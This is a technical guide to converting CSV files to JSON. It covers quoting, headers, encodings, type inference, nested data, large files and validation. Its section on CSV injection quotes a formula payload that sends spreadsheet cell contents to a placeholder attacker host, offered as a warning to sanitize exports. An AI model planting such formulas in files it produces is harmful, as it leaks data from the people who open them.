CSV to JSON: Handle Quotes, Commas, Encoding and Nested Data

CSV looks simple until a field contains a comma. Then it contains a quote. Then the quote is escaped. Then a line break appears inside the field. By the time you add a BOM and mixed types, split(",") is no longer a parser.

This guide covers the rules, the common failures, and a validation workflow that catches them.

The format is deceptive because the simple case is genuinely simple. The failures show up at the edges: one exported file from finance, one user-entered note with a newline, one column of IDs with leading zeros. Each edge case has a correct answer, but the parser has to be told what it is.

CSV is a family of formats

There is no single CSV standard that every tool follows. RFC 4180 describes a common convention, but delimiters, quoting, line endings and encoding vary by producer.

Common variations:

• Comma, semicolon or tab delimiters.
• Quoted or unquoted fields.
• Different escape rules for quotes.
• UTF-8, UTF-16 or legacy encodings.
• Header row present or absent.
• Empty cells meaning null, empty string, or missing.

Before converting, inspect the file and identify the dialect.

Delimiter detection is the first trap. A European Excel export may use semicolons because the comma is the decimal separator; a tab-separated file may carry a .tsv name or may not; some Excel files begin with a literal sep=; line that tells the spreadsheet which delimiter to use. Guessing from the first line works until a quoted field contains more commas than the delimiter, and then the guess flips. Ask the producer, or expose the delimiter as an explicit setting in your converter.

Line endings and row shape cause quieter failures. RFC 4180 specifies CRLF, but Unix tools emit LF, and an old Mac file may use CR. A final line without a newline is valid, and a trailing newline can produce an empty last row if the parser is naive. Ragged rows — fewer or more fields than the header — need an explicit policy: reject the file, pad missing values, or collect extras. Silently dropping the extra fields is how data disappears.

Quoting rules

RFC 4180 says:

• Fields containing commas, quotes or line breaks must be quoted.
• A double quote inside a quoted field is escaped by doubling it.
• Fields may be quoted even when not required.

name,note
Mina,"Likes commas, quotes, and line breaks"
Leo,"He said ""hello"""

The second row's note is one field. The third row's note contains literal quotes. A parser handles both; a split does not.

A minimal reproduction of the split failure: the line Mina,"Likes commas, quotes, and line breaks" has two logical fields, but split(",") returns four. The JSON record then has a note value of "Likes commas and two extra columns holding fragments of the sentence. If the code maps by position, every later column shifts, and the row count still matches, so a naive validity check passes.

An unclosed quote is worse than a shifted column. RFC 4180 quoting means the parser stays inside the quoted field until it finds a closing quote, so one missing quote can consume the rest of the file as a single value. A robust converter should fail with the line and byte offset instead of returning one giant field. It should also enforce a field-size limit; otherwise a malformed row can allocate gigabytes before anyone notices.

Escaped quotes are doubled, not backslash-escaped: "He said ""hi""" parses to He said "hi". Backslash escaping is common in other formats and in some CSV dialects, but mixing the two rules silently mangles values. Verify with a value that contains both a comma and a quote.

Headers and duplicate names

The first row is usually a header. Problems appear when:

• The header is missing.
• Two columns share the same name.
• The header contains spaces, punctuation, or a BOM.
• The header is localized, so downstream code expects English keys.

Normalize headers deliberately:

function normalizeHeader(value, index) {
  const cleaned = value
    .replace(/^/, "")
    .trim()
    .replace(/\s+/g, "_")
    .replace(/[^\w]/g, "")
    .toLowerCase();
  return cleaned || `column_${index + 1}`;
}

Detect duplicates and fail loudly instead of silently overwriting one column with another.

Normalization can create duplicates that were not in the source. First Name, first_name, and First-Name may all normalize to first_name, and a header that is empty after cleanup falls back to column_3. Build the normalized header list first, check for collisions, and either fail or disambiguate with suffixes. Also preserve a mapping from the original header to the JSON key so a human can audit the conversion later.

Duplicate keys in the resulting JSON are worse than duplicate headers, because the parser has already thrown away the evidence. Most JSON serializers keep the last value, so the second column silently wins. If both columns matter, rename them explicitly; if one is a mistake, reject the file and tell the producer which columns collide.

Encoding and the BOM

A UTF-8 BOM at the start of the file can become part of the first header name. The result is a key like name that never matches name.

const text = rawText.replace(/^/, "");

For non-UTF-8 files, decode with the correct encoding before parsing. Do not let the CSV parser guess. If the file is UTF-16, the bytes will contain null characters and the parser may produce garbage.

Chinese exports add a practical wrinkle: Excel on a Chinese Windows system may save CSV as GBK/GB18030 rather than UTF-8, and a file opened as UTF-8 then shows replacement characters or mojibake such as é for é. Decode with the declared or detected encoding first, verify a few known values, and only then parse. Encoding detection heuristics are guesses; a single wrong guess can corrupt every non-ASCII name in the file.

Normalize line endings after decoding, not before, because CRLF inside a quoted field is data and must survive. Check the first three bytes for the UTF-8 BOM (EF BB BF) and strip only that exact sequence; stripping a literal  character from the middle of a value would corrupt legitimate text.

Type inference

CSV has no types. Every cell is text. Converting to JSON requires decisions:

Define a schema and convert explicitly. Do not let a generic inference pass turn ZIP codes into numbers or dates into local timestamps.

Concrete edge cases: 00123 must stay "00123" if it is an employee badge or a postal code; 9007199254740993 exceeds JavaScript's safe integer range and silently becomes 9007199254740992; 1,234 is a formatted number in one locale and two values in another; 03/04/2026 is March 4 in the US and April 3 in most of Europe; TRUE, true, and 1 may all mean boolean, but a column of 0 and 1 is often a category code. A schema per column is the only way to make these decisions explicit.

Inference also costs performance. Scanning every cell to guess types doubles the work on large files and still produces wrong answers at the edges. A schema-driven conversion reads each value once and can reject bad rows with a field-level error instead of silently coercing them.

Empty values

Three conventions are common:

{ "name": "Mina", "note": null }
{ "name": "Mina", "note": "" }
{ "name": "Mina" }

They are not equivalent. null is a present value, "" is an empty string, and a missing property is absent. Pick one convention per field and document it.

The convention has downstream consequences. A required field with null can fail schema validation, while a missing property may pass a "not required" check and then break code that assumes the key exists. A spreadsheet user who clears a cell usually means "no value," but an API may interpret "" as an explicit empty string and store it in the database. Decide at the field level: identities and measurements may need null, free-text notes may need "", and optional relationships may need the property omitted.

Nested data

CSV is flat. If the JSON needs nested objects, choose a convention:

1. Flattened columns: address.city, address.zip.
2. JSON string column: store {"city":"Berlin"} in one cell.
3. Normalized tables: separate files for parent and child records.

The first is easy to read but produces many columns. The second is flexible but requires a second parse and validation. The third is the most relational but complicates conversion.

The JSON-string column needs a guardrail: the cell may contain malformed JSON, an object where an array is expected, or a second-level string that is itself JSON. Parse it, validate it against the nested schema, and fail the row with a clear path such as address.city rather than accepting a string that only looks structured. Wrapping a value in quotes at the CSV layer and JSON at the data layer means two escaping rules in one cell; test a value containing quotes, commas, and a newline.

Flattening has a collision case too. A column literally named address.city and a nested object { "address": { "city": ... } } produce the same dotted path. Decide whether dots are separators or literal characters, and escape or reject the other case. Normalized tables need a stable join key that survives CSV, so prefer an explicit ID column over matching on names or emails.

Large files

Loading a huge CSV into memory can exhaust the browser or server. For large files:

• Stream rows instead of reading the entire file.
• Write JSON incrementally, or produce newline-delimited JSON.
• Validate a sample before processing the full file.
• Set a maximum row and column count.

The browser-based CSV to JSON converter is suitable for typical files. For multi-gigabyte exports, use a server-side streaming pipeline.

Memory math explains why. A 1 GB CSV read into a browser becomes a JavaScript string that may occupy 2 GB or more in UTF-16, and parsing it into an array of objects can multiply that again. Browsers often cap a tab near a few gigabytes, so the failure is a tab crash rather than a clean error. A streaming parser keeps one row in memory, writes JSON incrementally, and applies backpressure when the output is slower than the input. If the consumer can accept newline-delimited JSON, skip the array wrapper entirely; it removes the need to hold the whole result before writing.

CSV injection

Spreadsheet applications may interpret cells beginning with =, +, -, or @ as formulas. A malicious CSV can execute a formula when opened.

When exporting CSV for spreadsheets:

• Prefix risky cells with a single quote.
• Or reject cells that begin with formula characters.
• Document the behavior so legitimate formulas are not broken.

The CSV editor helps inspect and clean data before conversion, but do not treat client-side cleaning as a security boundary.

The dangerous prefixes are not limited to =. Cells starting with +, -, @, and sometimes tab or carriage return before the formula character can trigger the same behavior. A payload such as =HYPERLINK("http://attacker.example/?leak="&A1,"Click") is a classic data-exfiltration trick. Sanitize on export to spreadsheets, and also validate on import, because a CSV produced by an untrusted party can attack the person who opens it downstream.

Prefixing every risky cell with a single quote changes the cell content for downstream parsers and can break legitimate negative numbers or formulas. Decide whether the file is data for machines or a workbook for people. For machine-to-machine CSV, reject formula prefixes or treat them as plain text; for human-facing exports, escape and document the behavior. The two use cases should not share one unexamined sanitizer.

A repeatable workflow

1. Identify the dialect: delimiter, quoting, header, encoding.
2. Strip the BOM and normalize headers.
3. Parse with a real CSV parser.
4. Apply an explicit type mapping.
5. Choose an empty-value convention.
6. Decide how to represent nested data.
7. Convert to JSON.
8. Validate the JSON with a JSON Schema validator.
9. Inspect a sample with a JSON formatter.
10. Compare row counts and a few known records.

The CSV to JSON converter handles steps 1-7 for common files. The validation steps are what prevent a successful-looking conversion from producing invalid data.

Add checks that compare the input and output rather than only checking the output. The JSON record count should equal the data row count; the column count should match the header after duplicate resolution; and a checksum over a sorted projection of a few known rows should match a manually verified fixture. For a pipeline, store the source file hash, the converter version, the dialect, and the schema version with the output, so a later discrepancy can be reproduced instead of debated.

A useful failure budget: sample the first and last rows, plus every row where the field count changes. The first and last catch truncation and header mistakes; field-count changes catch quoting and newline problems. If the data has a natural key, check for duplicates and missing keys after conversion; those are often symptoms of a parser that merged or split rows.

A note on round trips

CSV → JSON → CSV is not always lossless. Quoting style, numeric formatting, dates and empty values may change. If the CSV is an external contract, keep the original and avoid round-tripping unless you control both sides.

Specific losses to expect: a quoted field may come back unquoted, a CRLF line ending may become LF, 00123 may return as 123, 1.20 may become 1.2, and a date parsed into a native object may return in a different format or timezone. A trailing empty line may appear or disappear. The round trip is safe when both sides agree on a schema and a canonical output format, and unsafe when the file is an arbitrary export from someone else's tool.

CSV is a text format with implicit conventions. JSON is a typed-ish format with explicit structure. The conversion is where those conventions become code, so make each decision visible.